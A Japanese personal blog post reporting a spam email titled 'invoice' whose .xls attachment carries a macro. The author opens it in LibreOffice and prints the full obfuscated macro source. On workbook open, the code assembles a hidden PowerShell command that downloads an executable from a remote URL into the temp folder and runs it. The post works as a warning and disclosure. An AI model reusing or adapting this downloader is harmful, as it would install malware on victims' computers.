So-net無料ブログ作成

件名「請求書」メールがきた。 [その他]

件名「請求書」メールがきた。
差出人 yono@xg8.so-net.ne.jp
宛先 xxxxxxx@js6.so-net.ne.jp   noorinor@js6.so-net.ne.jp
CC     gotoh-k@js6.so-net.ne.jp
添付ファイル の請求書2.xls マクロあり
本文
いつもお世話になっております。

請求書送付させて頂きます。

宜しくお願い致します。

添付ファイルがxlsエクセルファイルなのでCalcで開いてみた。
OS kubuntu16.04 64bit
LibreOffice 5.1
mail_xls.png

文字化けしてる。
の請求書2.xls - LibreOffice Calc_024.png
LibreOffice Basic マクロ_025.png
マクロのソース 
Function ffversio()
ffversio = Array(Nz, Null, Null, Minute(Now), Null, Minute(Now), "C" + Chr(77), Minute(Now), Hour(Now), Nothing, 0, 1)
End Function
Function natgeo1()
natgeo1 = Array(Nz, Null, Nz, "d" & newrenberf + Right(Left(wherestr, 6), 1) + volvocar, Minute(Now), Hour(Now), Nothing, 1, 1)
End Function
Function photosym()
photosym = Array(Nz, Nz, Minute(Now), Hour(Now), Right(Left(wherestr, 6), 1) & "  " + Chr(47) + "c """, NaN, Null, Nothing, 0, 0)
End Function
Function bulkname()
    bulkname = """"
End Function
Function crownsilv()
nordwest = "simple Gathen textiles"
crownsilv = Right(Left(nordwest, 11), 2)
End Function
Function centrecity()
optiii3 = "^if" + "^or^"
simtown = "'e" & volvocar & "e.%" + "p" + "met%' ^sse^cor" + "p-t^" + "rats^;^)'e"
centrecity = simtown + volvocar & "e.%pm" + "et" + "%','e" & volvocar & "e" + newrenberf + "dme" + Chr(47) + "ten.derpo" & Chr(47) & "/:p" + "t" & crownsilv & "'(e^l^i^fd" + didntuse + "od.^)t^n^ei^lc^b^ew.^t^en.me^t^sy^s tcej^bo^-w^en^(^ ned" + "di" + Chr(94) + "h e^lyts^wo^dn^iw^- ^e^l" + optiii3 + "p^o^n-"
End Function
Function dgeeroo()
dgeeroo = "  -e"
End Function
Function volwramms()
volwramms = Array(xlZero, xlLabelPositionAbove, vc, vc, vc, vc, Null, vc, msoSyncAvailableNone, msoSyncAvailableNone, vc, vc, "prO^F", vc, Hour(Now), vc, vc, vc, Null)
End Function
Function cropells()
cropells = "^xe^  "
End Function
Sub Workbook_Open()
If xlThick > 0 Then
If xlChartElementPositionAutomatic < 0 Then
vieweanas = Shell(Join(Array(ffversio()(6), natgeo1()(3), photosym()(4)), "") & zibberff & StrReverse(centrecity) & bulkname, O)
End If
End If
End Sub
Function wherestr()
wherestr = "figure xcoords"
End Function
Function volvocar()
volvocar = Left(Right(wherestr, 7), 1)
End Function
Function didntuse()
msdetes = "^a" + "ol" + "n" + "w^"
didntuse = msdetes
End Function
Function newrenberf()
vincodetr = "!!=-.-"
newrenberf = Left(Right(vincodetr, 2), 1)
End Function

Function zibberff()
fdumps = "p^O"
bzzz = Array(xlZero, Pos, 0, xlLabelPositionAbove, Null, Pos, Minute(Now), Pos, Pos, Pos, "s ", Pos, Minute(Now), Pos, Pos, Pos, Null)
gunleft = Array(vbNull, Pos, Minute(Now), Pos, "yahoo", Pos, Null, Pos, Pos, Pos, Pos, 1, Pos, "pa^", Pos, Pos, Null)
libgher = Array(vbNull, Pos, Pos, "Y", Pos, Pos, Null, Pos, Pos, "A", Minute(Now), Pos, Hour(Now), Pos, 2, Pos, Pos, Pos, Null)
qqpp1 = Array(vbNull, Pos, Pos, Pos, Minute(Now), Pos, Null, Pos, 0, Pos, Pos, Pos, 12 + 7, Pos, "^u", Pos, "google")
fijkol = Array(vbNull, Pos, "bind", Pos, Day(Now), Pos, Null, "^Ec", Pos, Pos, Hour(Now), Pos, Pos, "seyshells", Pos, Pos, Pos, Pos, Null)
q190 = Array(2, vbNull, Pos, Pos, Pos, Pos, Null, Pos, Pos, Pos, Minute(Now), Pos, Pos, "DO^ws^ 1", Pos, Pos, Pos, Pos, Null)
simsim = Array(1, vbNull, Pos, Pos, Minute(Now), Pos, Null, 3, Pos, Pos, Pos, Pos, 1, Pos, Pos, Minute(Now), "^Ni^Nt", Null)
df001 = Array(2, 1, vbNull, Minute(Now), "  -W^In", Pos, Null, Pos, Pos, Pos, Pos, "-nO^", Pos, Pos, Pos, Pos, Null)
llmoll = Array(1, vbNull, Pos, Pos, Minute(Now), "^hel^l", Null, Pos, 2, Pos, Pos, Pos, Pos, Nothing, Pos, Null, Pos)
ooolem = Array(2, vbNull, Pos, Minute(Now), "^ERS", Pos, Null, Pos, Pos, Nothing, Pos, Pos, Null, Pos, Pos, Null, Pos)
kropots = Array(x1, vbNull, Minute(Now), 2, Pos, Pos, Null, Pos, Pos, Pos, "W", Pos, Pos, Null, Pos, Pos, Pos, 0)
gobelens = "^.e" & cropells & df001(11) + "l -No" + simsim(16) + Chr(94) & df001(4) & q190(13)
zibberff = fdumps & Array(kropots(10) & ooolem(4) & llmoll(5) & gobelens + " -No" & volwramms(12) & "Il" + "e^" & dgeeroo & "X" & fijkol(7) & qqpp1(14) & "  B^" + libgher(3) & gunleft(13) & "S^" & bzzz(10))(0)
End Function

IPアドレス
  10.168.4.51
ホスト名 ip-10-168-4-51.ap-northeast-1.compute.internal
IPアドレス割当てエリア
判定不明

nice!(3)  コメント(0)  トラックバック(0) 
共通テーマ:パソコン・インターネット

nice! 3

コメント 0

コメントを書く

お名前:[必須]
URL:
コメント:
画像認証:
下の画像に表示されている文字を入力してください。

トラックバック 0